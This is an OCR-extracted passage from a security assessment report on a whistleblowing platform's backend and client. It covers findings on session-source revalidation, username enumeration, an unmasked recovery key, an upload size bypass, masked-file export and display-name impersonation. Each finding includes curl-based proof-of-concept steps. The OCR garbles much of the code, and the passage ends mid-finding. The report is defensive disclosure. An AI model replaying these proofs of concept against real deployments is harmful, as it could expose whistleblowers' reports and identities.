CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low None

CWE-306 ) Missing Authentication for Critical Function
Authentication Bypass by Primary Weakness
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7.14 F-048 - Source policy not checked after
login

Source-network policy is evaluated when an internal user authenticates, while an existing session can continue
after the source changes. Periodic or per-session revalidation would provide additional defense in depth.

IMPACT COMPONENT FOUND BY
Network policy bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Role connection policies are implemented as authentication-time controls. After a valid session exists, backend
APIs and session keepalive use it without rechecking the current source. This is primarily a hardening
consideration because the internal user already holds a valid session and retains only the privileges assigned to
that role.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ base. py: connection_check and BaseHand! er. get _sessi on
backend/ gl obal eaks/ handl ers/auth/ __init__.py: |ogin, TokenAuthHandl er. post,

Sessi onHandl er . post

backend/ gl obal eaks/rest/decorators. py: decorator_authentication

backend/ gl obal eaks/ handl er s/ adm n/ net wor k. py: Net wor ki nst ance. put

client/app/ src/ pages/ app/ app. conponent . ts: keepal i ve session refresh

Role APl's such as /api/recipient/rtips and /api/admn/*

Description:

Administrators can configure per-role access over the web channel and per-role IP filters. The backend
implements those controls in connecti on_check() ,which rejects a role when its IP filter does not match or

when the role is configured to require Tor.

The check is only called during initial login and token authentication. A successful login stores a session
containing only tenant, user id, and role data. Later request handling loads the session from X- Sessi on and only

verifies that session.tid equals the request tenant. The generic authorization decorator then checks the role
stored in the session and does not call connecti on_check() with the current request's client IP or Tor status.

The session refresh endpoint has the same gap: POST / api / aut h/ sessi on validates the proof-of-work token

and resets the session timeout, but it does not re-evaluate the connection policy. The Angular client sends this
keepalive every 30 seconds. As a result, source-channel restrictions are a login-time gate instead of a request-
time policy.

This is distinct from the existing tokenauth tenant-policy report, which covers checking the wrong tenant during
auth-token redemption. Here the tenant can be correct and the session can be obtained legitimately; subsequent
requests and keepalive calls no longer enforce the current source channel. F-036, “Session bypasses network
policy,” records the same underlying condition from the session-lifecycle perspective.

Relevant code:
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backend/ gl obal eaks/ handl er s/ base. py
61 def connection_check(tid, role, client_ip, client_using_tor):

70 cache = State.tenants[tid].cache

71 ip_filter_enabled_key = f'ip_filter_{rol e}_enabl e
72 ip_filter_key = f'ip_filter_{role}’

73 https_al | oned_key = f' https_{rol e}’

75 ip_filter_enabled = cache. get (ip_filter_enabl ed_key)
76 if ip_filter_enabled:

7 ip_filter = cache.get(ip_filter_key)

78 if not check_ip(client_ip, ip_filter):

79 rai se errors. AccessLocationlnvalid

81 https_al | oned = cache. get (https_al | oned_key)

82 if not https_allowed and not client_using_tor:

83 rai se errors. Tor Net wor kRequi r ed

backend/ gl obal eaks/ handl ers/auth/ __init__.py
105 connection_check(tid, user.role, client_ip, client_using_tor)
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148 session = Sessions.new(tid, user.id, user.tid, user.role, crypto_prv_key,

user . crypt o_escrow_prv_key)

232 connect i on_check(sel f.request.tid, session.role,

233 self.request.client_ip, self.request.client_using_tor)

backend/ gl obal eaks/ handl er s/ base. py

146 # Check session header

147 session_id = sel f.request. headers. get (b' x-sessi on')
148 if session_id:

149 session = Sessions. get (sessi on_i d. decode())

150

151 if session is None or session.tid != self.request.tid:
152 return

158 return session

backend/ gl obal eaks/ rest/ decor at or s. py
32 def decorator_authentication(f, roles):

38 if self.session and self.session.tid == self.request.tid:

39 if 'user' in user_roles and self.session.role in USERS ROLES
40 return f(self, *args, **kwargs)
41 if self.session.role in user_roles:
42 return f(self, *args, **kwargs)

backend/ gl obal eaks/ handl ers/auth/ __init__.py
280 def post(self):

286 try:

287 sel f. sessi on. token. val i dat e(request['token'].encode().split(b":")[1])
288 Sessi ons. reset _ti neout (sel f. sessi on)

292 el se:

293 sel f. session.token = sel f.state.tokens. new(sel f.request.tid)

client/app/ src/ pages/ app/ app. conponent . ts
164 initldleState() {

165 this.idl e. setldl e(1800);
166 this.idle. setTineout(false);
167 this. keepal i ve.interval (30);

170 this. keepal i ve. onPi ng. subscri be(() => {

171 if (this.authenticationService.session) {

172 const token = this.authenticationService. session.token;

173 this. cryptoServi ce. proof & Wr k(token). subscribe((result:any) => {

174 const param= {'token': token.id + ":" + result};

175 this. httpService. request Ref reshUser Sessi on( par an) . subscri be(((resul t
cany) = {

PoC
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Steps to reproduce

1. Configure a tenant so recipients are allowed only from a specific network, or so recipients must use Tor. For an
IP-filter example, enable ip_filter_receiver_enable andset ip_filter_receiver toan allowlisted range
suchas 10.0.0.0/8 .

curl -s -X PUT " https://target.exanpl e/ api / adm n/ networ k' \

-H ' X-Session: <adm n-session> \

-H ' Content-Type: application/json \

--data '{"https_adm n":true, "https_anal yst":true, "https_custodi an":true, “https_w
hi stlebl over”:true, "https_receiver":true, "reachabl e_vi a_web": true, "anonym ze_out go

ing_connections":false,"ip_filter_admn_enable":false, "ip_filter_admn":"", "ip_fil
ter_anal yst _enabl e":false, "ip_filter_analyst":"","ip_filter_custodian_enabl e":fal s
e, "ip_filter_custodian":"","ip_filter_receiver_enable":true,"ip_filter_receiver":"

10.0.0.0/8"}"

2. From an allowed source address, log in as a recipient and save the returned session ID.

curl -s -X POST 'https://target.exanpl e/ api / aut h/ aut henti cation' \

-H ' Content-Type: application/json' \

--data ' {"tid": 1, "usernane":"recipient", "password":"<derived-or-plain-
passwor d>", "aut hcode": ""}*

3. Move the same session to a disallowed source address, or switch from the required Tor channel to the normal
web channel. Reuse the saved session ID against a recipient API.

curl -i "https://target.exanpl e/ api/recipient/rtips" \
-H ' X-Session: <recipi ent-sessi on-from st ep-2>'

4. Keep the session alive from the disallowed source by submitting the normal proof-of-work refresh to POST
/ api / aut h/ sessi on ; the backend resets the session timeout without rechecking the role's current source-
channel policy.

curl -i -X POST 'https://target.exanpl e/ api / aut h/ sessi on' \
-H ' X-Session: <recipient-session-fromstep-2> \
-H ' Content-Type: application/json' \
--data ' {"token":"<sessi on-token-id>: <val i d- proof - of - wor k- answer >"}"

Expected result

Deployments that require source-channel restrictions to remain e ective throughout a session should re-evaluate
the current source during session refresh and, where appropriate, during authenticated API use. The
implementation may apply this as a per-session or periodic control rather than necessarily repeating the check on
every request.

Actual result

After login, role APIs authorize only from the in-memory session's tenant and role. Requests from a source that
would fail connection_check() at login still reach recipient APIs, and the keepalive endpoint can extend the

session from that disallowed source.

Impact
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This is a source-channel hardening issue for already authenticated internal users. A recipient can continue using
assigned report access after moving to a source that would not be accepted for a new login. Because the
recipient remains trusted and receives no additional application privileges, the residual confidentiality and
integrity impacts are limited, with no availability impact.

Impacted users or systems:

o Deployments that rely on recipient, administrator, analyst, or custodian IP filters as ongoing access controls.
o Deployments that require specific roles to use Tor rather than the web channel.

¢ Whistleblowers whose report contents are accessible to recipients protected by those source-channel
restrictions.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low None

CWE-940 ) Improper Verification of Source of a Communication Channel
CWE-346 ) Origin Validation Error
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7.15F-072 - Login policy reveals valid users

Di erent login failures reveal whether a username exists, allowing attackers to enumerate valid internal accounts
on restricted tenants.

IMPACT COMPONENT FOUND BY

User enumeration Backend GPT-5.5 medium via
run_codex_cwe_line v1

The internal-user login flow checks role-specific IP and Tor/HTTPS access policy after finding the user record but
before validating the supplied password. When a role is restricted by IP filter or Tor-only access, an
unauthenticated attacker can submit any password and distinguish existing usernames from unknown usernames
by comparing AccessLocationlnvalid or TorNetwor kRequi red responses against the normal authentication
failure.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py, |ogin()
backend/ gl obal eaks/ handl er s/ base. py, connecti on_check()
PCST / api / aut h/ aut hent i cati on

Description:

The login transaction first looks up the enabled user by username. If no user exists, it raises
I nval i dAut henti cati on . If the user exists, it immediately calls connecti on_check() with that user's role

before deriving or comparing the password hash.

connect i on_check() usestheroletoenforce ip_filter_0 and https_1 settings. Those failures produce
distinct G.Excepti on classes, HTTP status codes, error codes, and messages. Therefore a request with a wrong

password can still receive a role policy error when the username exists, while an unknown username receives
Aut hentication Failed .

This turns configured access-control policy into an unauthenticated username oracle for administrators, analysts,
custodians, and recipients.

Relevant code:
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user = session. query(User).filter(User.usernane == usernane,
User. enabl ed. i s_(True),
Wser.tid == tid).one_or_none()

if not user:
db_| ogin_failure(session, tid, 0)

connection_check(tid, user.role, client_ip, client_using_tor)

try:
if len(user.hash) == 64:
key = Base64Encoder . decode( passwor d. encode())
hash = sha256( key) . decode()
el se:
key, hash = GCE. cal cul at e_key_and_hash(password, user.salt)
except Exception:
db_l ogin_failure(session, tid, 0)

if not password or not GCE check_equality(hash, user.hash):
db_l ogin_failure(session, tid, 0)

ip_filter_enabled = cache. get (ip_filter_enabl ed_key)
if ip_filter_enabled:
ip_filter = cache.get(ip_filter_key)
if not check_ip(client_ip, ip_filter):
rai se errors. AccessLocationl nval i d

https_al | oned = cache. get (https_al | oned_key)

if not https_allowed and not client_using_tor:
rai se errors. Tor Net wor kRequi r ed

The existing tests show these policy errors are surfaced by login:
State.tenants[1].cache[' https_adnin'] = Fal se
yield sel f.assertFail ure(handl er.post(), errors. Tor Net wor kRequi r ed)
State.tenants[1].cache['ip_filter_admn_enable'] = True

State.tenants[1].cache['ip_filter_admn'] = '192.168. 2.0/ 24
yield self.assertFailure(handl er.post(), errors.AccessLocationlnvalid)

PoC

The discrepancy appears when a deployment restricts at least one internal role, for example by disabling direct
HTTPS access for administrators or enabling an administrator IP filter.
Steps to reproduce

1. Configure a tenant so administrator login is allowed only from Tor, or enable an administrator IP filter that
excludes the attacker's address.

Set https_admn = false, or set ip_filter_admn_enable = true with a filter that
does not natch the attacker.

2. From a disallowed non-Tor/non-matching address, submit a login attempt for a real administrator with any
wrong password.

curl -sS -X POST https://target.exanpl e/ api / aut h/ aut henti cation \
-H ' Content-Type: application/json' \
--data '{"tid":1, "usernane": "admn", "password": "wong", "aut hcode":""}"
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3. Submit the same request for an unknown username.

curl -sS -X POST https://target.exanpl e/ api / aut h/ aut henti cation \
-H * Content-Type: application/json \
--data '{"tid":1, "username":"not-a-real -user", "password":"w ong", "aut hcode":""}"

4. Compare the responses.

Existing restricted user: Resource can be accessed only within Tor network, or IP
Address not allows to login fromthis |ocation
Unknown user: Authentication Failed

Expected result

Login should not disclose whether a username exists before the password is validated. Wrong credentials should
produce a uniform authentication failure regardless of later role access policy.

Actual result

The backend evaluates role policy before password validation, so existing users can produce role-specific access

errors even when the submitted password is invalid.

Impact

An unauthenticated attacker can enumerate internal accounts for roles that have stricter access policies. This
helps target password guessing, phishing, and social engineering against sensitive platform roles. Because the
role policy error depends on the existing account's role, it may also reveal role membership when candidate
usernames are known.

Impacted users or systems:

¢ Administrators, analysts, custodians, and recipients on tenants with role-specific Tor/HTTPS or IP-filter
restrictions.

o Deployments that rely on those restrictions to reduce exposure of internal-user login surfaces.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low None None

CWE-204 ) Observable Response Discrepancy
CWE-203 ) Observable Discrepancy
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7.16 F-074 - Recovery key shown plainly

The recovery key is displayed in clear text during password reset, making a long-lived secret easy to capture by
observation or recording.

IMPACT COMPONENT FOUND BY

Recovery secret exposure Client GPT-5.5 medium via
run_codex_cwe_line v1

The password reset flow asks encrypted-account users to enter their account recovery key in a plain text input.
The recovery key is a long-lived secret that can unlock the user's encrypted private key during password reset,
but the Ul renders it visibly on screen instead of using browser password masking. A nearby observer, screen-
share participant, or recording tool can capture the key while the user completes a security-sensitive recovery
operation.

Details

A ected source code, component, endpoint, or function:

client/app/ src/ pages/ aut h/ passwor d- r eset - r esponse/ passwor d- r eset -
response. conponent . ht ni

client/app/ src/ pages/ aut h/ passwor d- r eset - r esponse/ passwor d- r eset -
response. conponent . t s

backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py

Description:

When the backend returns require_recovery_key , the password-reset response page prompts for the account
recovery key. The input is declared as type="text" , so every character of the recovery key remains visible while
it is typed or pasted.

The same client uses type="password" for normal passwords and password-change fields, but the recovery key
is also an authentication secret: the backend decodes it and uses it to decrypt user. crypt o_bkp_key before
issuing a reset-token session. Exposure of this long-lived recovery key weakens the password reset and
encrypted-account recovery boundary, especially in the common recovery scenario where a user is already
under pressure and may be sharing a screen or working in a non-private environment.

This is a local user-interface exposure rather than a server-side disclosure. Capturing the displayed value requires
observation, screen sharing, recording, or comparable access to the user's display, and subsequent account
access still requires the relevant password-reset flow and any applicable second factor.

Relevant code:

client/app/ src/ pages/ aut h/ passwor d-r eset - r esponse/ passwor d- r eset -
r esponse. conponent . ht ni

12: <input id="recovery-key-input" class="formcontrol recovery-key-input"
name="secret" type="text" placehol der =" XXXX- X)XXX- X0XXX- XXX XXX XK= XHXKXK= XXKX-
X% YOO XK= XK XXXX' max| engt h="64" si ze="64"

[ (ngModel )] ="request . recovery_key">
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client/app/ src/ pages/ aut h/ passwor d- r eset - r esponse/ passwor d- r eset -
r esponse. conponent . t s

27: const request Chservabl e = this. httpService. request ChangePasswor d( JSON stri ngi f

y({

28: "reset _token": this.request.reset_token,
29: "recovery_key": this.request.recovery_key,
30: "auth_code": this.request.auth_code

31 1))

backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py

125: # If encryption is enabled require the recovery key
126: if user.crypto_prv_key:

127: try:

137: recovery_key = recovery_key.replace('-", '").upper() + '===='
138: recovery_key = Base32Encoder. decode(recovery_key. encode())
139: prv_key = GCE symmetric_decrypt (recovery_key,

Base64Encoder . decode(user . crypt o_bkp_key))

For comparison, the normal login and password-change Uls mask password secrets:
client/app/src/pages/ auth/| ogi n/tenpl at es/ def aul t -1 ogi n/ def aul t -
| ogi n. conponent . ht n

18: <input id="default-Iogin-password" class="formcontrol" name="password" ...
type="password" required />

client/app/src/shared/ partial s/ passwor d- change/ passwor d- change. conponent . ht m

9: <input class="formcontrol" ... id="current" ... type="password" ... required /
>
17: <input class="formcontrol" ... id="password" ... type="password" ... required
/>
38: <input id="password-confirnf class="formcontrol" ... type="password" ...
required />

PoC

Steps to reproduce

1. Configure a user account on an encrypted deployment so the user has crypto_prv_key and a backup
account recovery key.

2. Start a password reset for that user and open the reset link. The backend enters the recovery-key step when
the reset request does not include a valid recovery key.

state === 'require_recovery_key'
3. Type or paste the account recovery key into the recovery-key field.

The key is displayed as ordinary visible text in the browser field.

Expected result

The account recovery key should be treated as a secret and masked by default, consistent with password fields.
The Ul should provide an explicit show/hide control while preserving deliberate clipboard copy and paste, so
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masking does not force manual transcription of the long key.

Actual result

The account recovery key is rendered with type="text" , exposing the complete secret on screen during
password reset.

Impact

A local observer, screen recording, screen-sharing participant, or remote-support viewer can capture the recovery
key while account recovery is in progress. The key is sensitive, but it does not independently provide account
access: the observer must also obtain or trigger the relevant reset flow and satisfy any configured two-factor
requirement. This results in limited confidentiality and integrity impact without an availability impact.

Impacted users or systems:

e Users of encrypted accounts who must enter an account recovery key during password reset.

o Deployments where account recovery is performed in shared, recorded, or support-assisted environments.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low None

Missing Password Field Masking
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7.17 F-075 - Upload total size exceeds limit

A modified client can understate the declared upload size and still store a file larger than the configured
attachment limit.

IMPACT COMPONENT FOUND BY

Storage limit bypass Backend GPT-5.5 medium via
run_codex_cwe_line v1

Chunked uploads trust the client-supplied fl owTotal Si ze value and check the current temporary file size
before writing the current chunk. A modified client can understate fl owTotal Size and split an oversized

attachment into individually accepted chunks, causing the backend to persist an attachment whose actual stored
size exceeds the configured nmaxi numfil esize limit.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ base. py: process_fi | e_upl oad
backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achment . py: Subm ssi onAt t achnent
backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py: Recei ver Fi | eUpl oad

Description:

process_file upl oad() parses flowlotal Size with int() andcompares thatdeclared value, the current
chunk size, and the temporary file's size before writing the current chunk. It never verifies that the accumulated
size after the write matches the declared total or remains within the configured maximum.

Because the temporary file size is checked before the current chunk is appended, a client can send multiple
chunks that are each below the configured limit while declaring a small fl owTot al Si ze . On the final chunk,

sel f. upl oaded_file['size'] issetfrom the attacker-controlled declared size, but the temporary file body
contains all bytes written across chunks. Whistleblower and recipient upload handlers then attach or write the full
temporary file.

Relevant code:

Page 84 of 400

All rights reserved ISGroup S.r.I. - www.isgroup.biz - Made in Italy



|SGroup

Information Security

Labeling PUBLIC Date 30/07/2026 Author

Edition 01 Revision 01 Distribution

backend/ gl obal eaks/ handl er s/ base. py

356 total _file_size = int(self.request.args[b' flowlotal Size'][0])
378 chunk_size = I en(sel f.request.args[b' file ][0])

379 if (chunk_size // (1024 * 1024) > nmax_file_size or

380 total _file_size // (1024 * 1024) > max_file_size or
381 f.size // (1024 * 1024) > nax_file_size):

382 log.err("File upload request rejected: file too big",
tid=sel f.request.tid)

383 raise errors. Fi |l eTooBi g(nax_fil e_size)

399 f.wite(self.request.args[b' file ][0])

400 f.witten_chunks += 1

410 sel f. upl oaded file = {

415 ‘size': total _file_size,

416 ‘filenane': os. path. basenarme(f.filepath),

417 "body': f,

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achnent . py
61 def post(self):

62 sel f. upl oaded_file['submission'] = True
63 sel f.session. files. append(sel f. upl oaded_fil e)

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py

1345 def post(self, itip_id):

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

1346 result, crypto_key = yield register_rfile_on_db(self.request.tid,

sel f.session.user_id, itip_id, self.uploaded file)

1347 def er ToThread(wite_rfile_to_disk, self.uploaded file, crypto_key)
PoC

Steps to reproduce

1. Consider an instance with maxi rum fil esi ze setto 1 MiB.

maxi numfilesize = 1

2. Send a chunked upload through a normal upload endpoint, but understate f| owTotal Si ze and split a nearly 2

MiB body into two chunks that each pass the per-chunk check.

PCST / api / whi st | ebl ower/ submi ssi on/ at t achrment
X-session: <whi st ebl oner subnission session>

fl ow denti fi er=bypass- deno
f1 owFi | ename=| ar ge. bi n

f1 owTot al Chunks=2

f 1 owChunkNunber =1

fl owTot al Si ze=1048576
file=<1048576 bytes>
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PCST / api / whi st | ebl ower / submi ssi on/ at t achment
X-sessi on: <sane sessi on>

fl owl dentifi er =bypass- denmo
f1 owFi | ename=l ar ge. bi n

f 1 owTot al Chunks=2

f 1 owChunkNunber =2

fl owTot al Sl ze=1048576

fil e=<1048575 byt es>

3. Finalize the submission, or use the same chunk pattern on a recipient upload endpoint with a recipient session.

The backend accepts the upload and stores the tenporary file body, whose actual
size is 2097151 bytes, while the recorded netadata size cones fromthe decl ared
1048576-byte "flowlotal Si ze'.

Expected result

The backend should reject any upload whose accumulated bytes exceed nmaxi num fil esize * 1024 * 1024 |,

and it should derive stored size metadata from the actual accumulated bytes rather than from a client-declared
total.

Actual result

The backend accepts all chunks because each pre-write check sees only a declared total, a single chunk, and
the already-written file size. The final write can push the temporary file over the configured limit, and downstream
upload handlers use the full temporary file body.

Impact

This is an upload limit bypass caused by improper validation of a numeric input type and its relationship to actual
uploaded bytes. It weakens an operator-configured storage control and can amplify attachment storage
consumption by whistleblowers during submission or by recipients uploading report files.

Impacted users or systems:

¢ Deployments relying on nmaxi numfil esi ze as the per-attachment bound.
¢ Instances with limited temporary or attachment storage.

¢ Reports receiving attacker-controlled whistleblower or recipient attachments.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low Low

Improper Validation of Specified Type of Input
CWE-681 ) Incorrect Conversion between Numeric Types
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8 Vulnerabilities (considering internal adversaries)

This chapter contains findings that turn on a malicious or careless recipient, custodian, or analyst - an actor
already inside the platform who reaches past an intended boundary, toward another recipient's data, a
whistleblower's identity, or the integrity of a report's workflow.
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8.1 F-001 - Recipient recovers masked
whistleblower attachment

A recipient who cannot open a masked attachment directly can still recover it through the report export ZIP.

IMPACT COMPONENT FOUND BY
Report data exposure Backend GPT-5.5 xhigh vl

Recipient report exports include whistleblower-uploaded files even when those files have been fully masked and
are blocked by the direct download endpoint for recipients without masking or redaction privileges. A recipient
who can access the report but is not allowed to view masked files can export the report ZIP and recover the
masked attachment.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ reci pi ent/export.py, ExportHandl er /

prepare_tip_export ()

backend/ gl obal eaks/ handl ers/reci pi ent/rtip.py, Wistlebl owerFi | eDownl oad. downl oad_
wbfile()

backend/ gl obal eaks/ handl er s/ reci pient/rtip.py, redact_report()

backend/ gl obal eaks/ handl ers/reci pi ent/rtip.py, update_redaction()

backend/ gl obal eaks/ util s/ zi pstream py, ZipStream __iter_ ()

Description:

The direct recipient download endpoint for whistleblower files checks whether a redaction exists for the
underlying Internal Fil e .If the file is masked and the recipient lacks can_mask_i nformati on and

can_redact _i nformation , the endpoint raises For bi ddenQperati on .

The report export endpoint uses a separate path. It serializes the report, builds the ZIP file list from

tip['wofiles'] and tip['rfiles'] ,decryptsthe report, applies redact_report(..., enforce=True) ,and
then streams every file in the list into the ZIP. redact _report() masks questionnaire answers and comments,
but it does not remove or block masked file entries. As a result, the export endpoint bypasses the direct-
download restriction and includes fully masked whistleblower attachments for ordinary recipients who can
access the report.

Relevant code:

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py

1269 redaction = session. query(nodel s. Redacti on) \

1270 .filter(nodel s. Redaction.reference_id == ifile.id,
nodel s. Redaction.entry == '0"). one_or_none()

1271

1272 if redaction is not None and \

1273 not user.can_nask_i nformation and \

1274 not user.can_redact _i nfornation:

1275 rai se errors. For bi ddenQper ati on
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backend/ gl obal eaks/ handl er s/ r eci pi ent/export . py

146 def prepare_tip_export(user_session, tip_export):

147 tip_export['tip' ]['rfiles'] = list(filter(lambda x: x['visibility'] !=
"personal ', tip_export['tip' ]['rfiles']))

148

149 files = tip_export['tip' ]['wbfiles'] + tip_export['tip']J['rfiles"]

150

151 if tip_export['crypto_tip_prv_key']:

152 tip_export['tip'] = yield deferToThread(decrypt_tip, user_session.cc,
tip_export['crypto_tip_prv_key'], tip_export['tip'])

153

154 tip_export['tip'] = yield redact_report (user_session. user_id,
tip_export["tip'], True)

155

156 for file dict in tip_export['tip' ][ wbfiles']:

179 for file dict in tip_export['tip'].pop('wbfiles"):
180 file_dict['name'] = "'files/' + file_dict['nane']

backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py

715 @ransact
716 def redact_report(session, user_id, report, enforce=False):

1438 for qin report['questionnaires']:

734 redact _answers(q[' answers'], redactions)

[735)

736 for corment in report['conments']:

737 if cooment['id ] in redactions_by_reference_id:

738 comment[' content’] = redact_content (comment[' content'],
redactions_by_reference_id[ comrent['id ]][0].tenporary_redaction, '0x2591")
739

740 return report

backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py

1114 elif content_type == "file":

1115 if len(redaction.tenporary_redaction) == 1 and \

1116 redaction.tenporary_redaction[0].get('start', False) =="'-
inf' and \

1117 redaction. tenporary_redaction[0].get('end , False) ==
tinf':

1118 del ete_wbfile(session, tid, user_id, redaction.reference_id)
1119 sessi on. del et e(redact i on)

backend/ gl obal eaks/ uti | s/ zi pst r eam py

301 def __iter_ (self):

302 for f in self.files:
303 try:
304 if "key' inf:
305 wi th GCE stream ng_encryption_open(' DECRYPT', f['key'],
f['path']) as fo:
306 for data in self.zip_fo(fo, f['nane']):
307 yield data
PoC

Steps to reproduce

1. Use a report with at least two recipients: one recipient with can_nask_i nf ormati on and one ordinary recipient
without can_nask_i nformati on and without can_redact _i nfornati on . Have the whistleblower upload an

Page 89 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

attachment to the report.

Report R contains whistleblower file F. Recipient A can nmask information.
Reci pi ent B can access R but cannot nask or redact infornation.

2. As Recipient A, fully mask file F. The client sends the file redaction with reference_id setto the
Internal File.id and an infinite temporary range.

“internaltip_id': "<report-id>",

"reference_id': "<internalfile-id>",

"entry": "0",

“operation": “full-nask",

“content _type": "file",

“tenporary_redaction": [{"start": "-inf", "end": "inf"}],
" per manent _redaction": []

3. As Recipient B, try to download the file directly.

curl -i -H'x-session: <recipient-b-session> \
"https://<tenant-host>/api/recipient/wbfiles/<whistleblowerfile-id>

4. As Recipient B, export the same report.

curl -o report.zip -H'x-session: <recipient-b-session> \
"https://<tenant-host>/api/recipient/rtips/<report-id> export'
unzip -1 report.zip

Expected result

A recipient who cannot download a masked whistleblower file directly should not receive that file through the
export endpoint either.

Actual result

The direct download endpoint rejects the masked file for Recipient B, but the export ZIP still includes the file
under files/ because prepare_tip_export() streams tip['wbfiles'] withoutapplyingthe masked-file
access check.

Impact

This is an authorization bypass in the recipient export path. Masking a file is meant to prevent ordinary recipients
from viewing it unless they hold masking or redaction privileges. The export endpoint lets those same recipients
recover the attachment in bulk.

Impacted users or systems:

¢ Whistleblowers whose attachments are masked to limit recipient visibility.

o Deployments that rely on recipient masking/redaction permissions to compartmentalize sensitive
attachments.
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CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

CWE-863 ) Incorrect Authorization
CWE-200 ) Exposure of Sensitive Information to an Unauthorized Actor
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8.2 F-065 - Grant/transfer access dialogs
identify recipients only by mutable name

A recipient can impersonate another by display name alone and trick a privileged user into granting report access
to the wrong account.

IMPACT COMPONENT FOUND BY
Report data exposure Client GPT-5.5 medium via
run_codex_cwe_line v1

Recipient report-access dialogs identify target recipients only by the recipient-controlled display name. A
malicious recipient can rename themselves to a visually identical or confusable version of another recipient's
name, then wait for a recipient with grant or transfer privileges to select the wrong entry. The Ul submits the
hidden recipient UUID, so the victim can unintentionally grant or transfer report access to the malicious recipient.

Details

A ected source code, component, endpoint, or function:

client/app/src/shared/ partial s/ preference-tabs/ preference-tabl/ preference-
tabl. conponent . ht m

backend/ gl obal eaks/ handl ers/user/__init__.py

backend/ gl obal eaks/ handl er s/ user/ operati on. py
client/app/src/pages/recipient/tip/tip.conponent.ts

client/app/ src/shared/ nodal s/ grant - access/ gr ant - access. conponent . ht m
client/app/ src/shared/ nodal s/t ransf er-access/ transf er - access. conponent . ht ni

Description:

Recipients can edit their own display name in preferences. The backend accepts the submitted name as an
unrestricted string and stores it on the user object.

When a recipient opens the report grant, revoke, or transfer dialogs, the client calls get _users_nanes , replaces
each recipient object's displayed nane with that mutable value, and renders the selection list with only

i tem name . The dialog does not show the stable username, email address, role, UUID, or another non-
confusable identifier.

Because recipient behavior is in scope, a malicious recipient can choose a name that is visually indistinguishable
from another recipient's name by using homoglyphs, zero-width characters, or ordinary duplicate text. A
privileged recipient may then select the wrong entry in a security-sensitive grant or transfer operation. The
operation sends the selected object's UUID, so the backend correctly grants or transfers the report to the
malicious recipient even though the Ul did not provide enough visual distinction for the user to verify the target.

Relevant code:

client/app/src/shared/ partial s/ preference-tabs/ preference-tabl/ preference-
tabl. conponent . ht m

31: @f (editingNanme) {

32: <input id="pref-nane-input" class="formcontrol" nanme="nane"

[ (ngMbdel )] =" pr ef er enceResol ver . dat aMbdel . nane" type="text" required />
33}
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backend/ gl obal eaks/ handl ers/user/__init__.py

139: user.language = request.get('|anguage', State.tenants[tid].cache.defaul t_|ang
uage)

140: user.name = request[' nane']

141: user.public_name = request[' public_nane'] or request[' nane']

backend/ gl obal eaks/ handl er s/ user/ oper ati on. py

66: @ransact
67: def get_users_nanes(session, tid):

68: ret = {}

69:

70: for user_id, user_nane in session.query(nodel s. User.id, nodels.User.nane)
\

71: .filter(nodels. User.tid == tid):

72: ret[user_id] = user_nane

73:

74: return ret

client/app/src/pages/recipient/tip/tip.conponent.ts

172: openG ant Ti pAccesshdal (): void {
173: this.utils.runUser Qperation("get_users_nanes", {}, false).subscribe({

177: thi s. appDat aSer vi ce. publ i c. recei vers. f or Each(async (receiver: Receiver)

= {

178: if (receiver.id !'==this.authenticationService. session.user_id &
('this.tip.receivers_by idlreceiver.id] || !this.tip.receivers_by_id[receiver.id].
active)) {

179: recei ver. nane = nanes|receiver.id];

180: sel ect abl eReci pi ent s. push(recei ver);

185: nodal Ref . conponent | nst ance. confi rnfFun = (receiver_id: Receiver) => {

189: recei ver: receiver_id.id

234: openTi pTransferMdal () {

240: thi s. appDat aServi ce. publ i c. recei vers. f or Each(async (receiver: Receiver) =>

{

241: if (receiver.id !'==this.authenticationService. session.user_id &
Ithis.tip.receivers_by id[receiver.id]) {

242: recei ver. nane = nanes[recei ver.id];

243: sel ect abl eReci pi ent s. push(recei ver);

254: receiver: receiverld,

client/app/ src/ shared/ modal s/ grant - access/ gr ant - access. conponent . ht m

8: <ng-sel ect id="grant-access-receiver-select" ...

[i tens] ="sel ect abl eReci pi ents" bi ndLabel ="nane" ...>
9: <ng-tenpl ate ng-label -tnp let-iten="iten'>
10: <span>{{ item nane }}</span>

11: </ ng-tenpl at e>

client/app/ src/shared/ modal s/ transfer-access/ transfer-access. conponent . ht m
8: <ng-select id="transfer-receiver-select" ... [itens]="sel ectabl eReci pi ents"

bi ndLabel ="nane" ...>
9: <ng-tenpl ate ng-label-tnp let-iten="iten>{{ itemnane }}</ng-tenplate>

PoC
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Steps to reproduce

1. Create three recipient accounts in the same tenant. Alice , Bob ,and Ml lory . Give Alice permission to
grant or transfer report access.

2. As Mallory, open preferences and change the Nane field to a visually confusable version of Bob's name, for

example by replacing Latin characters with Cyrillic homoglyphs, or to the exact same display name if duplicates
are allowed.

Bob -> Bob

3. As Alice, open areport and choose G ant access or Transfer access .

The recipient selector displays only the nutabl e name val ues.

4. Select the visually confusable entry and confirm.

The client submts the selected recipient object's hidden UUD in the “receiver’
ar gunent .

Expected result

